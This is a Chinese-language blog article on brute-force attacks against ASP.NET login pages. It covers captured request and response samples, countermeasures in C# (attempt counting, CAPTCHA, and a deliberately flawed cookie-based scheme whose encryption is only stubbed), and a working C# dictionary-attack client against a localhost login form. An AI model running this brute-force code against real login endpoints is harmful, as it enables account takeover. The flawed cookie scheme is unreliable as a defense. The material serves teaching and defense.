Asp.net安全架构之Brute force(爆破)
原理
爆破是对系统的登录入口发起不间断的请求,达到暴力破解的目的。
实际案例
某系统存在爆破攻击点,只要模拟以下攻击,就能采用字典破解法,根据分析发现,只要返回状态为302的,为用户名密码正确,也就是被爆破了,状态为200的,为用户名密码错误。
在攻击的过程中,我们只要准备好字典,就能顺利实现爆破。像用户名为luminji,密码为123456这样的用户很容易就会被爆破掉。
请求:
User-Agent: Fiddler
Accept-Language: zh-CN
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
loginId=luminji&password=123456
以下是成功爆破的返回:
HTTP/1.1 302 Found
Cache-Control: private
Location: http://192.168.40.193/portal/pages
Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:25:50 GMT
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>
</body></html>
以下是失败的返回:
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Encoding: gzip
Vary: Accept-Encoding
Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:26:01 GMT
_?_
应对措施
一种思路是:定位客户端,限制客户端的请求频率。一般来说,通过两个途径可确定某个客户端,IP地址和Cookie。但是,这种方式一般来说也是被攻破的,比如使用AccessDriver这样的工具就可以更换IP地址,同时,再清空cookie就可以做到。
其次,使用验证码。这是一种非常有效的措施,但是一定程度上降低了用户体验。
Mads Kristensen提到了另一种方法是限制每个用户的登录次数,代码如下:
protected void ButtonLogin_Click( object sender, EventArgs e)
{
string loginName = " luminji " ;
if (AddAndGetLoginCount(loginName) > 5 )
{
// block
}
else
{
if (CheckLogin(loginName) == true )
{
ClearLoginCount(loginName);
}
}
}
// 只适用于单机,如果是集群,需要分布式缓存
int AddAndGetLoginCount( string userNanme)
{
if (Cache[userNanme] == null )
{
Cache.Insert( " luminji " , 1 , null ,
System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds( 10 ));
return 1 ;
}
else
{
int count = ( int )Cache[userNanme] + 1 ;
Cache[userNanme] = count;
return count;
}
}
void ClearLoginCount( string userName)
{
if (Cache[userName] != null )
{
Cache.Remove(userName);
}
}
private bool CheckLogin( string loginName)
{
throw new NotImplementedException();
}
这里还有一种方法,它看上去是正确的,但是有人一眼就看出来在其貌似能正确防范爆破下的本质错误,不知道你是否能察觉。这段代码的大致思路是:
将访问次数保存在cookie中,然后根据cookie保存的值来限制访问次序。保存在cookie中的值(该值所表达的意义是:谁在某个时间段内访问了几次),需要进行加密处理,只有这样,才能保证不让客户端进行模拟。全部代码实现,请参看代码:
protected void ButtonLogin_Click( object sender, EventArgs e)
{
HttpCookie cookieGet = Request.Cookies.Get( " btcookie " );
if (cookieGet == null )
{
SendBFCookieToClientAndRedirect();
}
else
{
ReceiveBFCookieAndCheckLogin(cookieGet);
}
}
private void ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet)
{
string loginName = " luminji " ;
BruteForce bf = PreAnalyCookieGet(cookieGet);
if (DateTime.Parse(bf.ExpireTime) > DateTime.Now)
{
if ( int .Parse(bf.LoginCount) > 5 )
{
Block();
}
else
{
GoAndCheckAndUpdateCount(cookieGet, loginName, bf);
}
}
else
{
GoAndCheckAndUpdateExpiretime(cookieGet, loginName);
}
}
private BruteForce PreAnalyCookieGet(HttpCookie cookieGet)
{
Response.Write( string .Format( " get{0}<br/> " , Session.SessionID));
Response.Write( string .Format( " get Cookie:{0}<br/> " , cookieGet.Value));
Response.Write( string .Format( " Now:{0} " , DateTime.Now));
var bfarr = cookieGet.Value.Split( ' | ' );
return new BruteForce(bfarr[ 0 ], bfarr[ 1 ], bfarr[ 2 ]);
}
private void GoAndCheckAndUpdateCount(HttpCookie cookieGet, string loginName, BruteForce bf)
{
CheckLogin(loginName);
cookieGet.Value = EncryptBruteForceCookie( string .Format( " {0}|{1}|{2} " ,
int .Parse(bf.LoginCount) + 1 ,
Session.SessionID,
bf.ExpireTime));
Response.Cookies.Add(cookieGet);
}
private void Block()
{
Response.Write( " block " );
}
private void GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet, string loginName)
{
CheckLogin(loginName);
cookieGet.Value = EncryptBruteForceCookie( string .Format( " {0}|{1}|{2} " ,
1 ,
Session.SessionID,
DateTime.Now.AddSeconds( 10 )));
Response.Cookies.Add(cookieGet);
}
private void SendBFCookieToClientAndRedirect()
{
Response.Write( string .Format( " set{0}<br/> " , Session.SessionID));
string str = EncryptBruteForceCookie( string .Format( " {0}|{1}|{2} " ,
1 ,
Session.SessionID,
DateTime.Now.AddSeconds( 10 )));
Session[ " btcookiesession " ] = str;
HttpCookie cookieSet = new HttpCookie( " btcookie " , str);
cookieSet.HttpOnly = true ;
Response.Cookies.Add(cookieSet);
// Redirect To real login page
}
private string EncryptBruteForceCookie( string cookie)
{
// encrypt cookie
return cookie;
}
private string DecrpytBruteForceCooke( string cookie)
{
// encrypt cookie
return cookie;
}
class BruteForce
{
public BruteForce( string loginCount, string sessionID, string expireTime)
{
LoginCount = loginCount;
SessionID = sessionID;
ExpireTime = expireTime;
}
public string LoginCount;
public string SessionID;
public string ExpireTime;
}
爆破的实施
假设要爆破的登录处的逻辑如下:
protected void btnLogin_Click( object sender, EventArgs e)
{
if ( this .txtUserName.Text == " xjm " &&
this .txtUserPassword.Text == " 123 " )
{
// this.Session["UserName"] = this.txtUserName.Text;
Response.Redirect( " Home.aspx " );
}
else
{
Response.Write( " login denied! " );
}
}
PS:一般来说,爆破就是模拟发送请求,C#代码如下:
string httpBase = @" http://localhost:50097 " ;
List < string > keyDict = new List< string > ()
{
" 1 " ,
" 12 " ,
" 123 " ,
" a " ,
" ab "
};
private void button2_Click( object sender, EventArgs e)
{
bool isOk = false ;
foreach ( string key in keyDict)
{
var request = InitRequest();
SetRequestContent(request, key);
if (isOk = GetResponseAndLoginSuccess(request))
{
break ;
}
}
if (isOk)
{
MessageBox.Show( " login success. " );
}
else
{
MessageBox.Show( " failed! " );
}
}
private void SetRequestContent(WebRequest request, string key)
{
// todo 1:should get login.aspx first, and get the viewstat
// 2:then we can build this content
string content = string .Format( " __VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button " ,
key);
request.ContentLength = content.Length;
byte [] bytes = Encoding.UTF8.GetBytes(content);
using (Stream requestStream = request.GetRequestStream())
{
requestStream.Write(bytes, 0 , bytes.Length);
requestStream.Flush();
}
}
private bool GetResponseAndLoginSuccess(WebRequest request)
{
var response = request.GetResponse();
using (Stream stream = response.GetResponseStream())
using (StreamReader reader = new StreamReader(stream))
{
if (response.ResponseUri.ToString().IndexOf(httpBase+ @" /Home.aspx " ) > - 1 )
{
var context = reader.ReadToEnd();
context += " <br/>hacked by luminji! " ;
webBrowser1.DocumentText = context;
return true ;
}
}
return false ;
}
private WebRequest InitRequest()
{
string url = httpBase + @" /login.aspx " ;
var request = HttpWebRequest.Create(url);
request.ContentType = " application/x-www-form-urlencoded " ;
request.Method = " POST " ;
return request;
}
本文出处: http://HdhCmsTestcnblogs测试数据/luminji/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。
作者: Leo_wl
出处: http://HdhCmsTestcnblogs测试数据/Leo_wl/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。
版权信息查看更多关于Asp.net安全架构之Brute force(爆破)的详细内容...